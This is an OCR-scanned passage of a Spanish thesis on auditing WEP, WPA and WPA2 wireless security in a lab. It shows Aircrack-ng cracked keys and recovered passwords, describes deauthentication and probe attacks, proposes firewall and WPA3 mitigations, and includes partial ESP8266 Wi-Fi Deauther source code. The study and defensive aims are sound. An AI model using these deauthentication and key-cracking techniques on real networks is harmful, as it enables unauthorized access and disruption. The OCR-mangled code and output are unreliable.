El EAPOL HMAC, es un cddigo de autenticacion (Hash-based Message
Authentication Code) utilizado durante el intercambio de mensajes de autenticacion
EAPOL (Extensible Authentication Protocol Over LAN) entre el cliente y el punto de
acceso, este utiliza la derivada del PTK, el cual le ayuda a crear un codigo para acceder
a la verificacién de la integridad y autenticidad de los mensajes EAPOL durante el
punto de autenticacion. Este codigo asegura que los mensajes intercambiados no han
sido alterados por un atacante, la importancia de EAPOL es que protege la integridad
de los mensajes EAPOL y ayuda a garantizar que tanto el cliente como el punto de
acceso han generado la misma PTK sin necesidad de enviar la clave directamente. Si
el HMAC es correcto, significa que ambas partes han derivado la misma clave y pueden
continuar con la conexion de manera segura. En la figura 67 se muestra el valor

hexadecimal que es el resultado del proceso de autenticacion.

Aircrack-ng 1.7

[00:00:00] 11/10303727 keys tested (364.22 k/s)

Time left: 7 hours, 51 minutes, 30 seconds
KEY FOUND! [ 0901282095 ]
Master Key . 79 CF 58 3C CC F7 8C EE
50 CF 30 98 A4 D1 DC 49
Transient Key : 22 38 32 09 53 88 F6 35
F1 2D 4A AE 93 13 EB
F3 81 37 BD F4 FO DA 53
67 1C B1 F2 OE C3 94 F6

EAPOL HMAC : 84 19 7E OC 49 AE 51 CA

Figura 67: EAPOL HMAC — WPA

Fuente: Elaborado por autor
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Anélisis en el protocolo WPA2

En la figura 68, se generan varias claves intermedias esenciales para asegurar
la conexidn inaldmbrica, de tal manera que estos son los principales componentes que
la herramienta Aircrack-ng revela tras haber descifrado exitosamente la clave de la red.
La Master Key (clave maestra) es un valor clave en el proceso de autenticacion. En el
estandar WPA, esta clave es derivada del intercambio de mensajes EAPOL (Extensible
Authentication Protocol Over LAN) y se utiliza para generar varias otras claves

temporales que cifran el trafico entre el cliente y el punto de acceso.

- adriana@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[02:46:10] 14345429/14344395 keys tested (2266.51 k/s)
Time left: -289717666 day, 19 hours, 33 minutes, 20 seconds 100.01%
KEY FOUND! [ @drian@l120601 ]
Master Key - 20 36
39 1F
Transient Key : 9B A0
2 D8 BA
FD 76
76 19

EAPOL HMAC - ' 11 09

Figura 68: Master Key — WPA2

Fuente: Elaborado por autor
Este par de cadenas hexadecimales simbolizan la clave maestra en la cual ha

sido calculado a partir del handshake previamente obtenido, de tal modo que es critica,
ya que es la base para la generacion de las siguientes claves utilizadas en la

autenticacion y encriptacion del trafico de datos en la red.
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La Transient Key (clave temporal), es derivada de la clave maestra y se utiliza
para cifrar las sesiones de datos entre el punto de acceso y el cliente. La clave temporal
es un conjunto de valores que varia a lo largo del tiempo y asegura que el trafico sea
unico y no repetido, incluso si multiples dispositivos estan conectados simultdneamente
a la misma red.

La Transient Key se muestra dividida en varios bloques, como se muestra en la
figura 69, estos valores representan los bloques cifrados utilizados para proteger el
trafico de datos. La generacion de una clave temporal sélida es esencial para evitar que

el tréfico sea interceptado y descifrado por terceros.

- adriana@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[02:46:10] 14345429/14344395 keys tested (2266.51 k/s)
Time left: -289717666 day, 19 hours, 33 minutes, 20 seconds 100.01%

KEY FOUND! [ @dridn@l120601 ]

Master Key

Transient Key

EAPOL HMAC

Figura 69: Transient Key — WPA2

Fuente: Elaborado por autor
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Finalmente, el EAPOL HMAC es un codigo de autenticacion de mensajes
basado en hash (HMAC). Es utilizado para asegurar la integridad de los mensajes
EAPOL intercambiados durante el proceso de autenticacion. Esto garantiza que los
datos no han sido alterados durante el proceso de handshake entre el cliente y el punto
de acceso, el valor mostrado en la figura 70, es calculado durante el intercambio de
paquetes EAPOL, y su funcidn es verificar la integridad de los mensajes entre las partes

involucradas en el proceso de autenticacion.

3 adriana@kali: ~
File Actions Edit View Help

Aircrack-ng 1.7
[02:46:10] 14345429/14344395 keys tested (2266.51 k/s)
Time left: -289717666 day, 19 hours, 33 minutes, 20 seconds 100.01%
KEY FOUND! [ @drign@120601 ]

Master Key : 9C EA DA 96 5D 20 36 FA F6 @5 5F CE 1A 76 4F A7

0C F8 39 F6 C3 39 1F 02 32 5D 99 7D 0B 8E E3 88
Transient Key : 58 AC FC 29 35 9B A@ 53 BF 7A 33 Al 73 37 21 13

9D 52 DA 3B C2 D8 BA 44 A7 2F FE 98 B8 76 66 86

90 19 21 AF 14 FD 76 90 60 6E 21 4E D5 DO C2 36

87 A7 FE 2F E4 76 19 33 AE 4F 20 DB 60 67 5B 89

EAPOL HMAC : C3 23 FF 89 7F 11 09 06 B7 OE FD 48 61 E5 F5 AB

Figura 70: EAPOL HMAC — WPA?2

Fuente: Elaborado por autor
El ataque de fuerza bruta por medio de Aircrack-ng, lo que realmente se busca

es el handshake WPA ya que es un intercambio de autenticacion que ofrece la
posibilidad hacer un intento alcribrar la pre comparted key de la red, en el cual consta
de la verificacion de un gran nimero de posibles combinaciones de contrasefias hasta

conseguir una correcta, de igual manera hay que sefialar la existencia de factores que
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limitan la efectividad de este ataque, uno de estos es la longitud y complejidad de la
clave precompartida sobre las contrasefias las cuales sean concisas sencillas pueden ser
incididas en ser descifradas con rapidez, sin embargo, es importante mencionar que la
utilizacion de contrasefias que sean extensibles y mas complejas en hasta el uso de
mayusculas y minasculas asi como cifras y signos a la vez incrementaran de
sobremanera la dificultad del ataque, mientras que a medida que hay un incremento de
la longitud y complejidad de la clave, se presenta un avance en el nimero de posibles
combinaciones de numeros, lo que puede ser una razon para que el ataque no pueda
ejecutarse en un periodo razonable.
4.2.Evaluacion de la efectividad en autenticacion y cifrado de la red.
4.2.1.Comparacion de métodos de autenticacidn y su resistencia a ataques.

En esta seccion, se realiza la evaluacion técnica de tres tipos de cifrado en redes
inaldmbricas: WEP, WPA, y WPA2, analizando la fortaleza de los sistemas defendidos
con respecto a varios esquemas de ataques, en la cual se llevaron a cabo ataques como
de desautenticacion, sondeo y baliza, dirigidos a sabotear la estructura de autenticacion
de cualquier protocolo y, eventualmente, apoderarse de las claves de acceso. La

comparacion de estos métodos revela las diferencias en la seguridad de los protocolos,

las debilidades y fortalezas més criticas de cada uno, presentadas en la tabla 10.

D-Administracion RED_USR RED_USR2
(AP1) (AP2) (AP2)
Protocolo de
) WEP WPA WPA2
cifrado
Contrasefna 221133 0901282095 @dri@n@120601

Tabla 10. Datos de los Puntos de accesos evaluados

Fuente: Elaborado por autor

Para la red D-Administracion, el cifrado WEP fue el principal mecanismo de

seguridad implementado, en el cual se ejecutaron ataques de deautenticacion y beacon,
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disefiados para obligar a los dispositivos conectados a desconectarse y reconectarse, lo
que generd trafico que permitié capturar maltiples paquetes de autenticacion.

Esto es clave para las redes WEP, ya que el protocolo emplea el uso de un
cifrado RC4 débil con una clave estatica y un Vector de Inicializacion (1V) que, aunque
es variable en valor, tiene un rango pequefio que permite la recopilacion de datos
suficientes para quebrar la clave.

La vulnerabilidad critica en la arquitectura de seguridad WEP se atribuye a su
disefio, que no proporciona de manera efectiva un medio para gestionar el problema de
reutilizacion del 1V, permitiendo asi ataques de anélisis de tréfico en la clave con datos
minimos, cabe recalcar que, en nuestras pruebas, la extraccion de la clave de cifrado a
través de balizas de ataque y el seguimiento de claves en la red permitieron obtener la
clave de cifrado en dos minutos.

Hay conocidas vulnerabilidades para el cifrado WEP y por lo tanto no se puede
recomendar para la proteccion de redes contemporaneas, de tal manera que al pasar de
los afios ya se conoce que este protocolo es vulnerable y era evidente, especialmente
en esta red, teniendo en cuenta que WEP no opone una resistencia considerable a los
ataques en redes de bajo blindaje y es altamente vulnerable a ataques de fuerza bruta
con altas tasas de éxito.

La red RED_USR utilizd6 WPA como mecanismo de seguridad, lo que es una
mejora significativa, sin embargo, el ataque de deautenticacion combinado con el
ataque de probe logro forzar a los dispositivos a reconectarse, capturando el handshake
del proceso de autenticacién WPA, este handshake permitio la realizacion de un ataque
de diccionario offline para obtener la clave.

La mayor vulnerabilidad de WPA se debe a lo débil que se encuentra a través
de la fuerza bruta del pentesting, de tal manera que en WPA del AP2, se obtuvo el

password "0901282095", siendo un patron numeérico sencillo de descifrar.

WPA es una gran mejora en comparacion con WEP; sin embargo, las
contrasefias débiles o maleables necesarias para autenticar cuentas aun pueden ser

explotadas a través de métodos de ataque offline. Dada la estructura de WPA, se puede
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argumentar que es imperativo pasar a WPAZ2, o al menos fortalecer las estrategias de

contrasefia en las redes que utilizaran este protocolo.

La red RED_USR2 hacia uso del protocolo WPA2 en su disefio, lo que le
confiere una mayor fortaleza de los estandares anteriores. Se intenté comprometer el
WEP de esta red mediante un wifikill y un ataque de sondeo, para poder apoderarse del
handshake WPAZ2, que se intercambi6 durante la reconexion. A diferencia de WEP y
WPA, la contrasefia de WPA2 se recupero solo mediante el uso de un ataque de fuerza

bruta.

WPA supone un avance significativo en comparacion con WEP, sin embargo,
sus métodos de autenticacion contindan siendo susceptibles a estrategias de ataque
offline cuando se utilizan contrasefias predecibles o vulnerables. La configuracion de
WPA indica la necesidad de avanzar a WPAZ2 o aplicar politicas de contrasefias mas
rigurosas en redes que empleen este protocolo.

La red RED_USR2 implementaba WPA2, que utiliza el protocolo CCMP
(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol)
basado en AES, lo cual les brinda una robustez superior a sus predecesores. Para
intentar vulnerar esta red, se utiliz6 un ataque de deautenticacion en combinacion con
un ataque de probe, con el objetivo de capturar el handshake WPAZ2 durante el proceso
de reconexién. A diferencia de WEP y WPA, la clave WPAZ2 fue obtenida Gnicamente
mediante un ataque de fuerza bruta prolongado.

La contrasefia seleccionada, "@dri@n@120601", presentaba un nivel de
complejidad mayor al incluir simbolos, letras y numeros. Sin embargo, aun fue
susceptible a técnicas de fuerza bruta avanzadas, dada su estructura predecible. En
comparacion con WPA, WPA2 ofrece una resistencia mucho mayor debido a la
complejidad del cifrado AES y a la robustez del protocolo CCMP. No obstante, WPA2
también depende de la seguridad de la contrasefia, lo cual puede ser un punto débil en
el caso de claves faciles de adivinar o con patrones repetitivos.

WPAZ2 proporciona una alta seguridad para redes inalambricas y es el estandar

recomendado en la actualidad, gracias a su encriptacion AES y la mejora en el manejo
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de autenticaciones. Sin embargo, la calidad de la seguridad depende directamente de la
complejidad de la contrasefia.

Mientras WPAZ2 desafia los ataques de diccionario y fuerza bruta en redes bien
configuradas, su vulnerabilidad aumenta en entornos con patrones predecibles o

contrasefias débiles.

La comparacion de los protocolos WEP, WPA y WPA2 muestra diferencias

sustanciales entre estos protocolos en términos de seguridad de la red:

Esta claro que WEP no es suficiente para practicamente ningin entorno que
requiera al menos una capa bésica de seguridad, ademas posee falencias intrinsecas,
tales como la generacion iv ineficaz y el recientemente hallado cifrado de flujo RC4,

que lo vuelven susceptible a ataques rapidos.

WPA incrementa significativamente la seguridad en comparacion con WEP al
incorporar TKIP, sin embargo, su susceptibilidad a ataques orbitales y de fuerza bruta
lo convierten en insuficiente para sistemas de red esenciales. WPA continda siendo

susceptible a no ser que se empleen contrasefias complejas de alta entropia.

WPAZ2 es el protocolo de mayor seguridad y constituye la norma de seguridad
vigente para conexiones troncales, pese a que WPA2 es m&s seguro, pero no es inmune

a ataques de fuerza bruta.

4.3.Propuestas para mejorar la seguridad en redes inalambricas y mitigacion de
riesgos.
4.3.1.Filtrado de trafico y control de acceso avanzado
Para poder mitigar los riesgos y mejorar la seguridad, se ha optado considerar
el uso del firewall cisco ASA 5506-X en la red empresarial, ya que es un dispositivo
de cisco que ofrece capacidades esenciales de uUltima generacion y consta con la
capacidad de proteger amenazas avanzadas, por ello se plantea el disefio que muestra

la figura 71.
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Figura 71: Disefio de red con seguridad

Fuente: Elaborado por autor

Se ha planteado realizar un filtrado de trafico y control de acceso mediante el
firewall Cisco ASA 5506-X, ya que permite la creacién de politicas mediante las
herramientas que posee, como el acceso puntual y detallado, el cual proporciona el
control y la gestion del trafico que entra, sale y circula en la red, de tal forma que se
regula el acceso asignando permisos especificos ya sea a los usuarios, dispositivos y
aplicaciones, de igual manera la segmentacion de la red, es decir las VLANS.

Los firewalls tradicionales por lo general solo operan referente a las direcciones
IP

A diferencia de los firewalls tradicionales que solo operan a nivel de direcciones
IP y puertos, el ASA 5506-X permite un control granular del trafico a nivel de

aplicacion y usuario. Este control por aplicacion permite que el administrador de red
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establezca reglas para aplicaciones individuales, como Facebook, YouTube o Dropbox,
de tal modo que esto resulta especialmente Util en entornos empresariales, ya que
algunas aplicaciones pueden representar riesgos de seguridad, consumir ancho de
banda innecesario o simplemente no ser relevantes para el trabajo.

Politicas de control de acceso basadas en roles, necesidades y segmentacion
de VLANS.

Una de las superioridades que brinda el cisco ASA 5506-X, es el control de
acceso, en este caso, una red empresarial estd compuesta por diferentes departamentos,
al integrar este equipo, se puede establecer ciertos consentimientos que sean acordes a
las funciones de cada usuario, es decir, que existe la restriccion de que un usuario
ingrese a ciertos tipos de aplicaciones, minimizando de esta forma que la informacion
de la red se encuentre expuesta a ataques.

Otra de las ventajas que posee este equipo es el control importante que debe
tener una empresa, es respetar los horarios de trabajo, en este caso se restringe el acceso
a informacion fuera de las horas laborales, y también con respecto a la ubicacion,
disminuyendo de esta forma ataques.

Este control contextual afiade una capa adicional de seguridad, garantizando
que incluso los usuarios autorizados tengan acceso limitado en ciertas circunstancias y,
por lo tanto, los accesos no autorizados a los recursos de la red se vuelven mas dificiles.

El acto de dividir la red en VLAN (Redes de Area Local Virtuales) es una
estrategia de seguridad comun en redes corporativas, donde el ASA 5506-X facilita un
control eficiente del tréfico entre estas VLAN, esta segmentacion implica dividir la red
en construcciones virtuales autbnomas separadas, como una LAN virtual singular para
el personal interno, una distinta para los visitantes y una exclusiva para el equipo de
supervision, generando de esta forma una segregacion logica permite dividir categorias
de acorde a los datos, de modo que un dispositivo en una red de area local virtual
(VLAN) sea incapaz de interactuar con los activos de otra VLAN sin la autorizacion

adecuada.
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También, se puede configurar una red de area local virtual (VLAN) que solo se
utilice para las maquinas invitadas, lo que confiere Unicamente acceso web y al mismo
tiempo evita cualquier iniciativa para aprovechar los activos internos de la empresa.

La restriccion que ofrece este equipo incluido en una red puede especificar las
reglas referentes al trafico, es decir que solo se acepten protocolos necesarios, dejando
a un lado quienes no tengan permiso, disminuyendo el riesgo, como en el que se
establecio en el entorno controlado del laboratorio de telecomunicaciones.

De tal manera que al bloguear dentro de los servidores los protocolos como
telnet o FTP, que son conocidos por sus vulnerabilidades, no permitan que terceros
ingresen a la red, por consiguiente, este firewall tiene un sistema de alarma que avisan
a los administradores de la red que un atacante, con la direccion IP y que no se
encuentra en la lista de acceso esta intentando acceder a la red y a su vez bloquea el
acceso.

4.3.2.Autenticacion y cifrado extremo

Es importante proteger la integridad y privacidad de los datos en una red
inalambrica y para ello es importante tener un sistema de autenticacion y de cifrado
fuerte, de acuerdo a los resultados obtenidos anteriormente, los cifrados WEP, WPA y
WPAZ2 son vulnerables, por lo consiguiente que en futuras implementaciones de
cifrados en una red empresarial, pueden optar por el cifrado WPA3 ya que brinda
avances sustanciales, como la proteccion contra ataques de diccionario offline, ya que
estos ataques son muy utiles en los que un usuario no autorizado puede capturar el
trafico de la red e intentar descifrar la contrasefia en un momento posterior.

WPA3 emplea un protocolo Unico llamado SAE (Autenticacion Simultanea de
Iguales) para generar diferentes claves para cada intento de autenticacion, de tal manera
que, si un hacker lograra interceptar el trafico de la comunicacion, sus posibilidades de
romper una contrasefia son minimas, ya que cada conexion utiliza una clave diferente,
lo que hace mas dificil derivar la contrasefia y, por tanto, mejora la proteccion de los
datos transmitidos.

Una opcién mas interesante para mejorar la autenticacion es implementar el

estandar 802.1X complementado con un servidor RADIUS, el cual garantiza que cada
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usuario tenga credenciales diferentes en lugar de contar con una clave de acceso general
como sucede con WPA2, haciendo referencia a 802.1X, cada dispositivo debe validar
sus credenciales ya sea a través del nombre de usuario y la contrasefia o gracias a los
certificados digitales para lograr conectarse a la red.

4.3.3.Proteccion contra ataques

La constante capacitacion a quienes se encuentran en el ambito de seguridad en
una red es primordial ya que de esta manera se descubre nuevas estrategias que
ayudaran en la integridad de la red, la identificacion cuando la red este inestable es una
clave éptima que nos indica si la red esta siendo victima de terceros.

Al momento de establecer el password de los puntos de acceso, se debe tener
en cuenta la longitud, las combinaciones de caracteres especiales, letras y nameros,
también se puede hacer uso de las politicas en base a la MFA, la cual es el autenticador
de multiples factores, que hace uso de distintos modos de proteccion, forzando de esta
manera a que las personas que quieran acceder a la red ingresen sus credenciales, pero
esto no solo queda ahi sino mas bien obliga a una segunda verificacién basado en un
token adicionalmente a la contrasefia, dado el caso que si un intruso logra obtener la
contrasefia, no podra ingresar porque al ingresar la contrasefia va a tener que colocar el
token, logrando de esta manera reducir los ataques de fuerza bruta con el segundo factor
de autenticacion.

Otros riesgos que dejan débil a una red son, la actualizacion de los dispositivos
ya que, si un equipo tiene fallas, los fabricantes publican estos tipos de actualizaciones
que ayudan basicamente a corregir diferentes fallas, ya sea por las versiones anteriores
o distintos tipos de vulnerabilidades que en un futuro son explotadas.

En la actualidad existen clases del estandar 802.11 ac o el 802.11 ax, o como se
los conoce Wi-Fi 5 y Wi-Fi 6, trabajan bajo el estindar WPA3 que brindan una
proteccion mas eficiente, que el estandar 802.11 b/g/n, de tal modo que optimizan y
brindan un ancho de banda estable que mejoran la estabilidad y conexion de la red.
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CONCLUSIONES

Los métodos analizados de cifrado y autenticacion en el entorno empresarial
bajo el estandar 802.11 b/g/n, demuestran riesgos mayores en los protocolos WEP,
WPA y WPAZ2, es por eso que se considera hacer uso de WPA3 por ser mas seguro.

De acuerdo al analisis integro realizado mediante técnicas de escaneo de
puertos, servicios y hosts conectados a la red, en conjunto con el anélisis de tréfico y
los ataques realizados, se logré determinar que los equipos y las configuraciones de la
red, requiere de controles de acceso y actualizacion constante que ayudaran a enfrentar
las amenazas.

A través de esta investigacion se identificaron diferentes medidas de
mitigacion, el cual se plantea un disefio con el firewall cisco ASA 5560, ya que consta
de configuraciones que ayudaran reforzar la seguridad y reducir los riesgos obtenidos.

Con estos resultados presentados, esta investigacion resalta la necesidad de
auditorias regulares, configuraciones adecuadas y estandares actualizados en la gestion
de redes empresariales. El resto de los estudios podrian intentar validar reiteradamente
herramientas de auditoria, investigar redes de malla y explotar mas a fondo espacio del

escenario del WPA3 en entornos mas tensos.
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RECOMENDACIONES

Al instalar el sistema operativo de Kali Linux, se aconseja realizarlo en una
unidad USB de suficiente capacidad. Asimismo, es importante usar herramientas
confiables, como Rufus, para la creacion de medios de arranque, de igual manera
también se debe tener especial cuidado al realizar particiones del disco ya que si son
incorrectas, se pueden crear conflictos con otros sistemas instalados.

Conocer las especificaciones de cada uno de los equipos a utilizar es
fundamental, de tal manera que se debe conocer el alcance de cada uno de ellos, en
especial de la tarjeta de red de la laptop, ya que esto ayudaré a ver el alcance en el que
puede escanear las redes.

Realizar la division de la red con diferentes funciones, ya que mientras mas este
segmentada, el intruso tendra la dificultad de lograr sus ataques, también se propone
que se utilicen controles de acceso estrictos, como la autenticacion a maltiples factores
en los puntos criticos, limitando las conexiones a solo los usuarios permitidos y asi
aumentar la seguridad.

Verificar el lugar en donde se guard6 el handshake capturado, también si el
archivo posee informacion, por lo consiguiente no va a conseguir datos de la red, ni

mucho menos capturar la contrasefia de la misma.
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ANEXOS

Anexo 1: Instalacion de Kali Linux.
Paso 1: Descarga la imagen ISO de Kali Linux de la fuente oficial para

instalacion en laptop Toshiba.

GECZTTEED b

Instalador

Instalacion completa sin
conexion con personalizacion

+ torrente suma

Paso 2: Instalacion de la grafica del S.O. Kali Linux.

Kali Linux installer menu (BIOS mode)

[Graphical install

Install

Advanced options
pecessible dark contrast installer menu

Install with speech synthesis
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Paso 3: Seleccion de idioma Spanish - Espafiol

KALI

Select a language

Choose the language to be used for the installation process. The selected language will also be the default
language for the installed system.

Language:

Norwegian Nynorsk - Norsk nynorsk (~]
Occitan - Occitan

Persian - el

Polish - Polski

Portuguese - Portugués

Portuguese (Brazil) - Portugués do Brasil

Punjabi (Gurmukhi) - iFgmEr

Romanian - Romana

Russian -  PyccKui

Serbian (Cyrillic) - Cpncku ||
Sinhala - floom 1
Slovak - Slovencina T
Slovenian - Sloveniéina |
Spanish panol

Swedish - Swvenska =

Screenshot . [ Go Back ][ Continue

Paso 4: Seleccidn del Pais - Ecuador

Seleccione su ubicacion

La ubicacion seleccionada aqui se utilizara para fijar su zona horaria y también como ejemplo para ayudarle a
seleccionar la localizacion de su sistema. Esta localizacion sera habitualmente el pais donde vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su
ubicacion no esta en la lista.

Pais, territorio o drea:

Chile

[>]

Colombia
Costa Rica
Cuba

El Salvador
Espaia
Estados Unidos
Guatemala
Honduras
México
Nicaragua

Panama

<]

Capturar la pantalla Retroceder ] [ Continuar
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Paso 5: Configuracion del teclado latinoamericano.

Configure el teclado

Mapa de teclado a usar:

Canarés

[>)

Kazajo

Jemer

Kirghizo

Coreano

Kurdo (variante F)
Kurdo (variante Q)

Laosiano

Latinoamericano W
Leton

Lituano

Macedonio
Malayalamo
Nepalés

Sami septentrional

Noruego

<]

Persa

Capturar la pantalla ] [ Retroceder ] [ Continuar

Paso 6: Establecer nombre de la maquina como kali

KALI

Configurar la red

Por favor, introduzca el nombre de la maquina.

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador de red
si no sabe qué nombre deberia tener. Si esta configurando una red doméstica puede inventarse este nombre.

Nombre de la maquina:

[kali ]

Capturar la pantalla ] Retroceder ] [ Continuar
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Paso 7: Establecer nombre del dominio — Adriana.

KALI

Configurar la red

4

El nombre de dominio es la parte de su direccion de Internet a la derecha del nombre de sistema.

Habitualmente es algo que termina por .com, .net, .edu, o .org. Puede inventarselo si esta instalando una red
Bstica, pero asegurese de utilizar el mismo nombre de dominio en tedos sus ordenadores.
Nombre de dominio:
[adriana\

Capturar la pantalla

]

Continuar
Paso 8: Establecer nombre de usuario para la cuenta — Adriana.

KALI

Configurar usuarios y contrasefias

Seleccione un nombre de usuario para la nueva cuenta. Su nombre, sin apellidos ni espacios, es una eleccion
razonable. El nombre de usuario debe empezar con una letra
numeros y mds letras minisculas.

ula, sequida de cualquier combinacién de
Nombre de usuario para la cuenta:

[Earand

Capturar la pantalla

Retroceder ] [ Continuar
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Paso 9: Configuracion de contrasefia, 4 digitos numéricos

KALI

Configurar usuarios y contrasefas

Asegurese de seleccionar una contrasefia segura que no pueda ser adivinada.
Elijz una contrasefia para el nuevo usuario:

[[] Mostrar la contrasefia en claro

Por favor, introduzca la misma contrasefna de usuario de nuevo para verificar que la introdujo correctamente.
Vuelva a introducir la contrasefia para su verificacion:

[oood

[C] Mostrar la contrasena en claro

[ Capturar la pantalla ] h [ Retroceder ] [

Paso 10: Seleccidn de la zona horaria — Guayaquil.

Continuar

KALI

Configurar el reloj

Si la zona horaria deseada no esta en la lista entonces vuelva atras al paso «Escoja el idioma» y seleccione un
pais que utilice la zona horaria deseada (el pais donde vive o esta ubicado).

Seleccione una ubicacion en su zona horaria:

[TEVED [H]

Islas Galapagos

[ Capturar la pantalla [

Retroceder ] [ Continuar
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Paso 11: Seleccion de la particion guiada del disco guiado para no afectar al

sistema operativo de Windows.

KALI

Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si lo

desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la oportunidad
mas adelante de revisar y adaptar los resultados.

Si elige la particion guiada en un disco completo, se le preguntara qué disco desea utilizar.
Metodo de particionado:

Guiado - utilizar todo el disco

Guiado - utilizar el disco completo y configurar LVvM

Guiado - utilizar todo el disco y configurar LVM cifrado
Manual

[ Capturar la pantalla ] [ N Retroceder ] [ Continuar

Paso 12: Finalizar Particionado.

KALI

Particionado de discos

Este es un resumen de las particiones y puntos de montaje que tiene configurados actualmente. Seleccione una particion
para modificar sus valores (sistema de ficheros, puntos de montaje, etc.), el espacio libre para afiadir una particion nueva

o un dispositivo para inicializar la tabla de particiones.
Particionado guiado
Configurar RAID por software

Configurar el Gestor de Volimenes Logicos (LVM)
Configurar los volimenes cifrados

Configurar los volimenes iSCSI

=~ SCSI3 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK
> #1 primaria 25.8GB f exta !

> #5 logica 1.0 GB f intercambio intercambio

Deshacer los cambios realizados a las particiones

Finalizar el particionado y escribir los cambios en el disco

[ Capturar la pantalla ] [ Ayuda Retroceder ] [ Continuar



Anexo 2: Codigo Fuente de Configuracion y Control del Aursinc Wi-Fi Deauther.

1 extern "C" {

2 #include "user_interface.h”

3%

4

5 #include "EEPROMHelper.h™

[

7 #include "srcf/Arduinolson-v5.13.5/Arduinolson.h™
8 #if ARDUINOJSON_VERSION MAJOR != 5

9 // The software was build using Arduinolson v5.x
1@ // version 6 is still in beta at the time of writing
11 // go to tools -»> manage libraries, search for ArduinolSON and
12 #error Please upgrade/downgrade ArduinoJSON library to version
13 #endif // if ARDUINOJISOM VERSION MAJOR != 5

14

15 #include "oui.h”

16 #include "language.h”

17 #include “"functions.h”

18 #include “"settings.h"

19 #include “MNames.h™
28 #include "SS5IDs.h™
21 #include "Scan.h™
22 #ginclude “Attack.h”
23 #include "CLI.h"
24 ginclude "DisplayUI.h"
25 #include "A_config.h”
26
27 #include "led.h”
28
29 // Run-Time Variables //
38 Names names;
31 S5IDs ssids;
32 Accesspoints accesspoints;
33 Etations stations;
34 Scan scan;
35 Attack attack;
36 CLT cli;
37 DisplayUuI displayUl;

install version 5
5!
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38

39 simplebutton: :Button® resetButton;
48

41 #include "wifi.h"

4z

43 uint32_t sutosaveTime = @;

44 uint32_t currentTime = @;

a5

46 bool booted = false;

47

43 void setup() {

a9 /f for random generator

58 randomSeed{os_random());

51

52 /f start serial

53 serial.begin(11520@);

54 Serial.println();

55

56 // start SPIFFS

57 prot(SETUP_MOUNT SPIFFS);

58 ff bool spiffsError = [ILittleFS.begin();
59 LittleFsS.begin();

[l:] protln(/*spiffsError 2 SETUP_ERROR : */ SETUP_OK);
61

62 // Start EEPROM

63 EEPROMHelper: :begin (EEPROM_SIZE);

54

65 #ifdef FORMAT_SPIFFS

66 prot(SETUP_FORMAT SPIFFS);

&7 LittleFs.format();

68 protln(SETUP_OK) ;

69 #endif // ifdef FORMAT_SPIFFS

70

71 #ifdef FORMAT_EEPROM

72 prot(SETUP_FORMAT EEPROM);

73 EEPROMHelper: : format (EEPROM_SIZE);

74 protln(SETUP_OK);

75 #endif // ifdef FORMAT_EEPROM

T&

77 // Format SPIFFS when in boot-loop

78 if (/*spiffsError || */ YEEPROMHelper::checkBootNum(E0OT_COUNTER_ADDR))
79 prot(SETUP_FORMAT SPIFFS);

sa LittleFS.format();

81 pratln{SETUP_OK);

82

83 prat(SETUP_FORMAT EEPROM);

84 EEPROMHelper: : format (EEPROM_SIZE);
85 pratln{SETUP_OK);

86

87 EEPROMHelper: : resetBootMum{BOOT_COUNTER_ADDR) ;
a8 ¥

g9

9@ J/ get time

21 currentTime = millis(});

=l

93 // load settings

o4 #ifndef RESET_SETTIMGS

a5 settings::load();

96 #else /) ifndef RESET_SETTINGS

97 settings::reset();

938 settings::save();

99 #endif [/ ifndef RESET_SETTINGS

18

181 wifiz:begin();

1@2 wifi_set_promiscuous_rx_cb{[]{uint8 t* buf, uintlé_t len) {
1@3 scan.sniffer(buf, len);

104 });

1a5

106 /4 start display

1e7 if (settings::getDisplaySettings().enabled) {
1838 displayUI.setup();

189 displayUI.mode = DISPLAY_MODE: :INTRO;
11a }

111
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112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
13@
131
132
133
134
135
136
137
138
139
140
141
142
143 }
144

// load everything else
names.load();
ssids.load();
cli.load();

// create scan.json
scan.setup();

// dis/enable serial command interface
if (settings::getCLISettings().enabled) {

cli.enable();

1 else {

¥

pratln(SETUP_SERTAL WARNING);
Serial.flush()};
Serial.end(};

// start access point/web interface

if (settings::getWebSettings().enabled) wifi

// STARTED
prntln(SETUP_STARTED);

S/ wersion
protln(DEAUTHER_VERSION);

// setup LED
led: :setup();

// setup reset button
resetButton = new ButtonPullup{RESET_BUTTON);

145 void loop() {
currentTime = millis();

146
147
148
1439
158
151
152
153
154
155
156
157
158
159
168
161
162
163
164
165
166
167

led: :update(); // update LED color
wifi::update(); // manage access point
attack.update(); // run attacks
displayUI.update();

cli.update(); f/f read and run serial input
scan.update(); f/ run scan

ssids.update(); // run random mode, if enabled

/{ auto-save
if (settings::getAutosaveSettings().enabled

¥

&% (currentTime - autosaveTime » settings::getAutosaveSettings().time)) {

autosaveTime = currentTime;
names.save(false);
ssids.save(false);
settings::save(false);

if (fbooted) {

booted = true;
EEPROMHelper: :resetBootMum(BOOT_COUNTER_ADDR);

168 #ifdef HIGHLIGHT_LED

1639

displayUI.setupLED();

17 #endif // ifdef HIGHLIGHT_LED

171
172
173
174
175
176
177
178
1739
188
181
182
183
184
185

¥

resetButton->update();
if (resetButton-rholding(5@0@)) {

led: :setMode (LED_MODE: : SCAN);
DISPLAY_MODE _mode = displayUI.mode;
displayUI.mode = DISPLAY_ MODE: :RESETTING;
displayUI.update(true);

settings::reset();
settings::save(true);

delay(2008) ;

led: :setMode(LED_MODE: :IDLE);

iistartAP();
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186
187 T
188 }

Anexo 3: Cddigo de la estructura de Paquetes y Funciones de Ataque en Wi-Fi.

displayUI. mode =__mode;

1 #pragma once

2

3 #include "Arduinc.h”
4 #include <ESP8266WiFi.h>

5 extern

et g

6 #include "user_interface.h”

7}

8 #include "language.h”

9 #include "Accesspoints.h”
1@ #include "Stations.h”

11 #include "SSIDs.h™

12 #include "Scan.h™

13

14 extern
15 extern
16 extern
17 extern
18

19 extern
28 extern
21 extern
22

23 extern
24 extern
25 extern
286 extern
27 extern
28 extern
29 extern
3@ extern
31

S5IDs =sids;

Accesspoints accesspoints;
Stations stations;
